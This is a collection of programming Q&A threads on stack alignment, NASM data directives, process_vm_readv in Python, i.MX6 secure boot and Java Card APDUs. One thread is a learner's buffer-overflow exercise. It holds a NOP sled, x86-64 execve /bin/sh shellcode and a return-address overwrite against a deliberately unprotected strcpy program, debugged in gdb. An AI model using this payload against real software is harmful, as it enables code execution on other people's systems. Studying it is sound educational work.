I'm trying to educate myself regarding stack overflows and played around a bit with these -fno-stack-protector flag and tried to understand how memory is managed in a process.
I compiled the following code (using Ubuntu 18.04.1 LTS (x86_64), gcc 7.3.0., ASLR disabled)
int main (int argc, char *argv[])
{
char buff[13];
return 0;
}
as follows: gcc -g -o main main.c -fno-stack-protector. I then evoked gdb main, b 4, run and as can be seen from the the following outputs
(gdb) print &buff
$2 = (char (*)[13]) 0x7fffffffd963
0x7fffffffd963: 0xff 0xff 0x7f 0x00 0x00 0x00 0x00 0x00
0x7fffffffd96b: 0x00 0x00 0x00 0x00 0x00 0x10 0x46 0x55
0x7fffffffd973: 0x55 0x55 0x55 0x00 0x00 0x97 0x5b 0xa0
0x7fffffffd97b: 0xf7 0xff 0x7f 0x00 0x00 0x01 0x00 0x00
(gdb) info frame 0
Stack frame at 0x7fffffffd980:
[...]
Saved registers:
rbp at 0x7fffffffd970, rip at 0x7fffffffd978
the 13 bytes allocated for the buffer follow directly after the saved base pointer rbp.
After increasing the buffer size from 13 to 21 I got the following results:
(gdb) print &buff
$3 = (char (*)[21]) 0x7fffffffd950
(gdb) x/48bx buff
0x7fffffffd950: 0x10 0x46 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffd958: 0xf0 0x44 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffd960: 0x50 0xda 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd968: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd970: 0x10 0x46 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffd978: 0x97 0x5b 0xa0 0xf7 0xff 0x7f 0x00 0x00
(gdb) info frame 0
Stack frame at 0x7fffffffd980:
[...]
Saved registers:
rbp at 0x7fffffffd970, rip at 0x7fffffffd978
Now there are additional 11 bytes after the rbp before the buffer follows.
In the second case, why are there 11 additional bytes? Is this due to the alignment of the stack, e.g. does the buffer have to be 16 bytes aligned (a multiple of 16) starting from rbp?
Why is the memory layout different in the first case, there seems to be no alignment?
The x86-64 System V ABI requires 16-byte alignment for local or global arrays that are 16 bytes or larger, and for all C99 VLAs (which are always local).
An array uses the same alignment as its elements, except that a local or global
array variable of length at least 16 bytes or a C99 variable-length array variable
always has alignment of at least 16 bytes.4
4 The alignment requirement allows the use of SSE instructions when operating on the array.
The compiler cannot in general calculate the size of a variable-length array (VLA), but it is expected
that most VLAs will require at least 16 bytes, so it is logical to mandate that VLAs have at
least a 16-byte alignment.
Fixed-size arrays smaller than one SIMD vector (16 bytes) don't have this requirement, so they can pack efficiently in the stack layout.
Note that this doesn't apply to arrays inside structs, only to locals and globals.
(For dynamic storage, the alignment of a malloc return value must be aligned enough to hold any object up to that size, and since x86-64 SysV has maxalign_t of 16 bytes, malloc must also return 16-byte aligned pointers if the size is 16 or higher. For smaller allocations, it could return only 8B-aligned for an 8B allocation if it wanted to.)
The requirement for local arrays makes it safe to write code that passes their address to a function that requires 16-byte alignment, but this is mostly not something the ABI itself really needs to specify.
It's not something that different compilers have to agree on to link their code together, the way struct layout or the calling convention is (which registers are call-clobbered, or used for arg-passing...). The compiler basically owns the stack layout for the function it's compiling, and other functions can't assume or depend on anything about it. They'd only get pointers to your local vars if you pass pointers as function args, or store pointers into globals.
Specifying it for globals is useful, though: it makes it safe for compiler-generated auto-vectorized code to assume alignment for global arrays, even when it's an extern int[] in an object file compiled by another compiler.
Related
I'm learning about buffer overflows (for educational purposes only) and while playing around with the NOP sliding technique to execute shellcode some questions arised as to why shellcode sometimes is not executed.
I compiled the following code (using Ubuntu 18.04.1 LTS (x86_64), gcc 7.3.0., ASLR disabled)
#include <stdio.h>
#include <string.h>
void function (char *args)
{
char buff[64];
printf ("%p\n", buff);
strcpy (buff, args);
}
int main (int argc, char *argv[])
{
function (argv[1]);
}
as follows:gcc -g -o main main.c -fno-stack-protector -z execstack.
I then evoked gdb main, b 9, and
run `perl -e '{ print "\x90"x15; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x8; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
The string above consists of NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address. I chose the return address according to the output of the printf line. (Attention: To say it explicitly, the hexcode above opens a shell in x86_x64).
As can be seen from the following output, the buffer is overflowed as intended.
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x48
0x7fffffffd8c0: 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2 0x48
0x7fffffffd8c8: 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
0x7fffffffd8d0: 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1 0xeb
0x7fffffffd8d8: 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31 0xd2
0x7fffffffd8e0: 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f 0x05
0x7fffffffd8e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
Continuing from here indeed opens the shell. However, when I use the following as an argument (the only difference is that I replaced \x90"x15 by \x90"x16 and \x90"x8 by \x90"x7)
run `perl -e '{ print "\x90"x16; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x7; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
I get
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8c0: 0x48 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2
0x7fffffffd8c8: 0x48 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73
0x7fffffffd8d0: 0x68 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1
0x7fffffffd8d8: 0xeb 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31
0x7fffffffd8e0: 0xd2 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f
0x7fffffffd8e8: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
which looks fine to me (the same as above, except reflecting the change in the argument), though when I continue this time I get
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
and no shell is opened.
The illegal instruction happens in the second NOP block. The shellclode lies before the NOP block. The return address seems to have been overwritten successfully, why isn't the shellcode executed then?
Why does the first example work, but the second doesn't, the only difference being that one NOP was removed before the shellcode and inserted after the shellcode?
Edit:
I added the disassembly of the shellcode:
0000000000400078 <_start>:
400078: 48 31 c0 xor %rax,%rax
40007b: b0 3b mov $0x3b,%al
40007d: 48 31 d2 xor %rdx,%rdx
400080: 48 bb 2f 62 69 6e 2f movabs $0x1168732f6e69622f,%rbx
400087: 73 68 11
40008a: 48 c1 e3 08 shl $0x8,%rbx
40008e: 48 c1 eb 08 shr $0x8,%rbx
400092: 53 push %rbx
400093: 48 89 e7 mov %rsp,%rdi
400096: 4d 31 d2 xor %r10,%r10
400099: 41 52 push %r10
40009b: 57 push %rdi
40009c: 48 89 e6 mov %rsp,%rsi
40009f: 0f 05 syscall
Jester's guess that the shellcode's push operations overwrite the instructions at the far end of the shell code regarding my second example was correct:
Checking the current instruction after receiving the SIGILL by setting set disassemble-next-line on and repeating the second example yields
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea: ff (bad)
The NOP (90) which was at this address previously has been overwritten by ff.
How does this happen? Repeat the second example again and additionally set b 8. At this point in time, the buffer has not been overflown yet.
(gdb) info frame 0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
The bytes starting at 0x7fffffffd8f8 contain the address which will be returned to after having left the function function. Then, this 0x7fffffffd8f8 address will also be the address from which stack will continue to grow again (there, the first 8 bytes will be stored). Indeed, continuing with gdb and using the si command shows that before the first push instruction of the shellcode the stack pointer points to 0x7fffffffd900:
(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da: 53 push %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8 0xd9 0xff 0xff 0xff 0x7f 0x00 0x00
... and when the push instruction is executed the bytes are stored at address 0x7fffffffd8f8:
(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db: 48 89 e7 mov %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
Continuing with this, one can see that after the last push instruction of the shellcode the content of push is pushed on the stack at address 0x7fffffffd8e8:
0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3: 57 push %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4: 48 89 e6 mov %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
However, this is also the place where the last byte for the instruction of syscall is stored (see the x/80bx buff output in the question for the second example). Therefore, the syscall and thus the shellcode cannot be executed successfully. This doesn't happen in the first example since then the bytes pushed onto the stack grow right til the end of the shellcode (without overriding a byte of it): 8 bytes for the 8 NOPs ("\x90"x8) + 8 bytes for the saved base pointer + 8 bytes for the return address provide enough space for the 3 push operations.
I'm trying to learn how to call PROCESS_VM_READV within python. Reading from the manual, I've decided to create something similar to their example.
I've opened python3 in terminal with root access. Then proceeded by importing&initializing needed modules and variables
import ctypes
libc = ctypes.CDLL('libc.so.6')
vm=libc.process_vm_readv
In the example, there's a struct called iovec. So, I need to re-create it in python
class iovec(ctypes.Structure):
_fields_=[("iov_base",ctypes.c_void_p),("iov_len",ctypes.c_int)]
Then create the variables local and remote
p1=ctypes.c_char_p(b"")
p1=ctypes.cast(p1,ctypes.c_void_p)
local=iovec(p1,10)
remote=iovec(0x00400000,20) # Address of ELF header
Finally, calling PROCESS_VM_READV with pid of KMines
vm(2242,local,2,remote,1,0)
But it returns -1 and there are no changes in iov_base of local or remote. I feel like I'm doing a very simple mistake here but can't quite put my finger on it.
Any help is appreciated, have a nice day.
might be too late here but i was able to replicate the example from the man of process_vm_readv here
we need to pass a valid readable remote address, for testing purpose i compiled a simple hello world and used gdb to read a valid address
(gdb) break main
Breakpoint 1 at 0x5a9: file hello.c, line 4.
(gdb) run
Starting program: /user/Desktop/hello
=> 0x800005a9 <main+25>: sub esp,0xc
0x800005ac <main+28>: lea edx,[eax-0x19b0]
0x800005b2 <main+34>: push edx
0x800005b3 <main+35>: mov ebx,eax
0x800005b5 <main+37>: call 0x800003f0 <puts#plt>
0x800005ba <main+42>: add esp,0x10
0x800005bd <main+45>: nop
0x800005be <main+46>: lea esp,[ebp-0x8]
0x800005c1 <main+49>: pop ecx
0x800005c2 <main+50>: pop ebx
(gdb) x/20b 0x800005a9
0x800005a9 <main+25>: 0x83 0xec 0x0c 0x8d 0x90 0x50 0xe6 0xff
0x800005b1 <main+33>: 0xff 0x52 0x89 0xc3 0xe8 0x36 0xfe 0xff
0x800005b9 <main+41>: 0xff 0x83 0xc4 0x10
Below is the python code to retrieve the same results
from ctypes import *
class iovec(Structure):
_fields_ = [("iov_base",c_void_p),("iov_len",c_size_t)]
local = (iovec*2)() #create local iovec array
remote = (iovec*1)()[0] #create remote iovec
buf1 = (c_char*10)()
buf2 = (c_char*10)()
pid = 25117
local[0].iov_base = cast(byref(buf1),c_void_p)
local[0].iov_len = 10
local[1].iov_base = cast(byref(buf2),c_void_p)
local[1].iov_len = 10
remote.iov_base = c_void_p(0x800005a9) #pass valid readable address
remote.iov_len = 20
libc = CDLL("libc.so.6")
vm = libc.process_vm_readv
vm.argtypes = [c_int, POINTER(iovec), c_ulong, POINTER(iovec), c_ulong, c_ulong]
nread = vm(pid,local,2,remote,1,0)
if nread != -1:
bytes = "[+] "
print "[+] received %s bytes" % (nread)
for i in buf1: bytes += hex(ord(i)) + " "
for i in buf2: bytes += hex(ord(i)) + " "
print bytes
output
user#ubuntu:~/Desktop# python process_vm_readv.py
[+] received 20 bytes
[+] 0x83 0xec 0xc 0x8d 0x90 0x50 0xe6 0xff 0xff 0x52 0x89 0xc3 0xe8 0x36 0xfe 0xff 0xff 0x83 0xc4 0x10
Let's say I want to define a initialized variable string before running my assembly program (in section .data). The variable I chose to create is called Digits and it is a string that contains all the hexadecimal symbols.
Digits: db "0123456789ABCDEF"
I defined the variable with db, that means define byte. Does this mean that the Digits variable is of 8-bits long? This doesn't seem to have sense for me because:
Each character in the string is an ASCII character, therefore I will need 2 bytes for each character. In total, I would need 32 bytes for the whole string!
So what does it mean when I define the variable as byte? Word? Double word? I don't see the difference. Because of my misunderstanding, it seems to be redundant to tell the type of data you need for the string.
PD: This question didn't help me to understand.
NASM answer, MASM is totally different
One of the answers on the linked question has a quote from the NASM manual's examples which does answer your question. As requested, I'll expand on it for all three cases (and correct the lower-case vs. upper-case ASCII encoding error!):
db 'ABCDE' ; 0x41 0x42 0x43 0x44 0x45 (5 bytes)
dw 'ABCDE' ; 0x41 0x42 0x43 0x44 0x45 0x00 (6 bytes, 3 words)
dd 'ABCDE' ; 0x41 0x42 0x43 0x44 0x45 0x00 0x00 0x00 (8 bytes, 2 doublewords)
dq 'ABCDE' ; 0x41 0x42 0x43 0x44 0x45 0x00 0x00 0x00 (8 bytes, 1 quadword)
So the difference is that it pads out to a multiple of the element size with zeros when you use dd or dw instead of db.
According to #Jose's comment, some assemblers may use a different byte order for dd or dw string constants. In NASM syntax, the string is always stored in memory in the same order it appears in the quoted constant.
You can assemble this with NASM (e.g. into the default flat binary output) and use hexdump -C or something to confirm the byte ordering and amount of padding.
Note that this padding to the element size applies to each comma-separated element. So the seemingly-innocent dd '%lf', 10, 0 actually assembles like this:
;dd '%lf', 10, 0
db '%lf',0, 10,0,0,0, 0,0,0,0 ;; equivalent with db
Note the 0 before the newline; if you pass a pointer to this to printf, the C string is just "%lf", terminated by the first 0 byte.
(write system call or fwrite function with an explicit length would print the whole thing, including the 0 bytes, because those functions work on binary data, not C implicit-length strings.)
Also note that in NASM, you can do stuff like mov dword [rdi], "abc" to store "abc\0" to memory. i.e. multi-character literals work as numeric literals in any context in NASM.
MASM is very different
See When using the MOV mnemonic to load/copy a string to a memory register in MASM, are the characters stored in reverse order? for more. Even in a dd "abcd", MASM breaks your strings, reversing the byte order inside chunks compared to source order.
I want to clarify something:
example: db 'ABCDE';
This reserves 5 bytes in total, each containing a letter.
ex2: db 1 ;
reserves a byte that contains 1
ex3: db "cool;
reserves 4 bytes and each byte contains a letter
ex4: db "cool", 1, 3;
reserves 3 bytes?
answers: ex4 is 6 bytes
For each character in the string "0123456789ABCDEF" you need just one byte. So, the string will occupy 16 bytes in the memory.
In case of this declaration:
vark db 1
you can make this:
mov [vark],128
and cannot:
mov [vark],1024
but in this case:
vark dw 1
you can.
I am currently working on performing a secure boot on the imx6ul using HABv4. I followed the steps provided in the following document.
http://marc.info/?l=u-boot&m=139227973004718&q=p5
After performing all the steps I have described below, I typed hab_status in the U-boot command prompt. Then I get the HAB Events I have shown below. The only step I did not perform is fusing the SRK table. I would like to know the following information:
Is it a must to fuse the SRK table during the development stage?
From where can I find the load address that has to specify in the csf file? I used the following value defined in the Uboot configuration file. The document AN4581 (Rev.0,10/2012) describes that start* = TEXT_BASE and that it is defined in the config.mk file. However, config.mk file is not available in my U-boot folder (Probably because I am using a newer version).
#define CONFIG_SYS_TEXT_BASE 0x87800000
AN4581(Rev. 1, 10/2015) does not provide any information regarding this.
How does the Uboot knows the starting pointer of cfs? Should we specify it in any other location?
I have specified the steps I performed below. Let me know whether anything I am doing wrongly.
Steps Performed:
Please see the steps performed below.
Built u-boot.imx enabling the secure mode.
Generated all root public key files and corresponding hash.
Created csf file with the following content. Content of the file is attached at the end.
My u-uboot.imx file is 0x60830. I extended it to 0x61000 using the following command.
objcopy -I binary -O binary --pad-to 0x61000 --gap-fill=0x5A u-boot.imx u-boot-pad.imx
Then I generated csf.bin file using the command below.
./cst -o u-boot_csf.bin -i uboot.csf
Merged image and csf data using the command below.
cat u-boot-pad.imx u-boot_csf.bin > u-boot-signed.imx
Then extended the final image to 0x63000
objcopy -I binary -O binary --pad-to 0x63000 --gap-fill=0x5A u-boot-signed.imx u-boot-signed-pad.imx
The length of the block is calculated as: Length = u-boot-pad.imx (0x61000) - IVT_OFFSET (0x400).
And added 400 to the starting address as shown below.
# Address Offset Length Data File Path
Blocks = 0x87800400 0x400 0x00060C00 "u-boot-pad.imx"
HAB Events:
HAB Configuration: 0xf0, HAB State: 0x66
--------- HAB Event 1 -----------------
event data:
0xdb 0x00 0x1c 0x42 0x33 0x18 0xc0 0x00
0xca 0x00 0x14 0x00 0x02 0xc5 0x00 0x00
0x00 0x00 0x0d 0x34 0x87 0x80 0x04 0x00
0x00 0x06 0x0c 0x00
--------- HAB Event 2 -----------------
event data:
0xdb 0x00 0x14 0x42 0x33 0x0c 0xa0 0x00
0x00 0x00 0x00 0x00 0x87 0x7f 0xf7 0xd0
0x00 0x00 0x00 0x20
--------- HAB Event 3 -----------------
event data:
0xdb 0x00 0x14 0x42 0x33 0x0c 0xa0 0x00
0x00 0x00 0x00 0x00 0x87 0x7f 0xf7 0xfc
0x00 0x00 0x01 0xf0
--------- HAB Event 4 -----------------
event data:
0xdb 0x00 0x14 0x42 0x33 0x0c 0xa0 0x00
0x00 0x00 0x00 0x00 0x87 0x7f 0xf7 0xf0
0x00 0x00 0x00 0x01
--------- HAB Event 5 -----------------
event data:
0xdb 0x00 0x14 0x42 0x33 0x0c 0xa0 0x00
0x00 0x00 0x00 0x00 0x87 0x80 0x00 0x00
0x00 0x00 0x00 0x04
Command Sequency File Description:
#Illustrative Command Sequence File Description
[Header]
Version = 4.1
Hash Algorithm = sha256
Engine = ANY
Engine Configuration = 0
Certificate Format = X509
Signature Format = CMS
[Install SRK]
File = "../crts/SRK_1_2_3_4_table.bin"
# Index of the key location in the SRK table to be installed
Source index = 0
[Install CSFK]
# Key used to authenticate the CSF data
File = "../crts/CSF1_1_sha256_2048_65537_v3_usr_crt.pem"
[Authenticate CSF]
[Install Key]
# Key to install
File= "../crts/IMG1_1_sha256_2048_65537_v3_usr_crt.pem"
# Target key slot in HAB key store where key will be installed
Target Index = 2
# Key slot index used to authenticate the key to be installed
Verification index = 0
[Authenticate Data]
# Address Offset Length Data File Path
Blocks = 0x87800400 0x400 0x00060C00 "u-boot-pad.imx"
# Key slot index used to authenticate the image data
Verification index = 2
Best Regards
I have this method in my javacard applet:
public void process(APDU apdu)
{
byte[] buf = apdu.getBuffer() ;
switch(buf[ISO7816.OFFSET_INS])
{
case 0x40:
Util.arrayCopy(hello,(byte)0,buf,ISO7816.OFFSET_CDATA,(byte)5);
apdu.setOutgoingAndSend(ISO7816.OFFSET_CDATA,(byte)5);
break;
default: ISOException.throwIt(ISO7816.SW_WRONG_INS) ;
}
}
Here hello is :
private final static byte[] hello = {0x48, 0x65, 0x6c, 0x6c, 0x6f };
and I am sending the command in the script as follows:
powerup;
// Select the installer applet
0x00 0xA4 0x04 0x00 0x09 0xa0 0x00 0x00 0x00 0x62 0x03 0x01 0x08 0x01 0x7F;
// create TestApplet applet
0x80 0xB8 0x00 0x00 0xd 0xb 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x09 0x00 0x00 0x00 0x7F;
//show hello message
0x40 0x00 0x00 0x00; //this is the command mentioned in tutorial which gave error
powerdown;
The first two commands are succeeded, but the last one gets the error as the command is not in correct format .
I also tried this command:
0x00 0x40 0x00 0x00 0x00 0x7f;
But it gave me the response 6d00 which means INS vlaue not supported.
Here is the actual Response:
CLA: 80, INS:40, P1:00,P2:00,Lc:00,Le:00,SW1:6d,SW2:00
The expected response is to get the hello value along with the success reponse 9000
I am following the tutorial
What is the proper way to give the APDU command ?
As mentioned in the answer by #BzH, command 0x40 0x00 0x00 0x00 is not correct.
The correct command is
0x80 0x40 0x00 0x00 0x00.
There is one more problem: status word 6D00 is not sent by your applet, it is sent by the card manager applet with
AID = A00000006203010801
you have selected after powerup. The card manager applet does not know INS = 0x40 instruction, therefore the status code. You have to select your applet before sending any commands:
00 A4 04 00 [Lc] [... AID of your applet instance...]
80 40 00 00 00
The card's Global Platform class byte is 0x80. So you should send:
0x80 0x40 0x00 0x00 0x00
The first APDU you are sending 0x40 0x00 0x00 0x00 is wrong, because 0x40 is considered as the class byte and 0x00 as Instruction.
Finally this command worked for me.
As the APDU commands should be given in a format,
There are four cases to be followed , when sending commands to APDU:
Case Command data Expected response data
1 No data No data
2 No data Data
3 Data No data
4 Data Data
In case 1, the length Lc is null; therefore the Lc field and the data field are empty. The length Le is also null; therefore the Le field is empty. Consequently, the body is empty.
In case 2, the length Lc is null; therefore the Lc field and the data field are empty. The length of Le is not null; therefore the Le field is present. Consequently, the body consists of the Le field.
In case 3, the length Lc is not null; therefore the Lc field is present and the data field consists of the Lc subsequent bytes. The length Le is null; therefore the Le field is empty. Consequently, the body consists of the Lc field followed by the data field.
In case 4, the length Lc is not null; therefore the Lc field is present and the data field consists of the Lc subsequent bytes. The length Le is also not null; therefore the Le field is also present. Consequently, the body consists of the Lc field followed by the data field and the Le field.
So in my case it will be case 4 , I need to send some bytes, and get some bytes.
So the command in this case should be:
0x00 0x40 0x00 0x00 0x05 0x00 0x40 0x00 0x00 0x00 0x05;
CLA INS P1 P2 Lc b1 b2 b3 b4 b5 Le
Lc- input byte length (0x05 followed by 5 bytes of input: 0x00 0x40 0x00 0x00 0x00)
Le- expeted output byte length (H,e,l,l,o in my case it is 5 bytes. Hence 0x05)
and I got the repsonse as:
CLA:00 INS:40 P1:00 P2:00 Lc:05,00,40,00,00,00 Le:05,48,65,6c,6c,6f SW1:90 SW2:00
I got the Word H,e,l,l,o in the Le field.
As suggested by #Vojta ,And another mistake I did is, I am running the command without selecting the applet,
So, the correct order should be
power up
//create installer applet
//create testapplet
//select test appplet (I missed this step in my question)
//run get Hello Command
powerdown;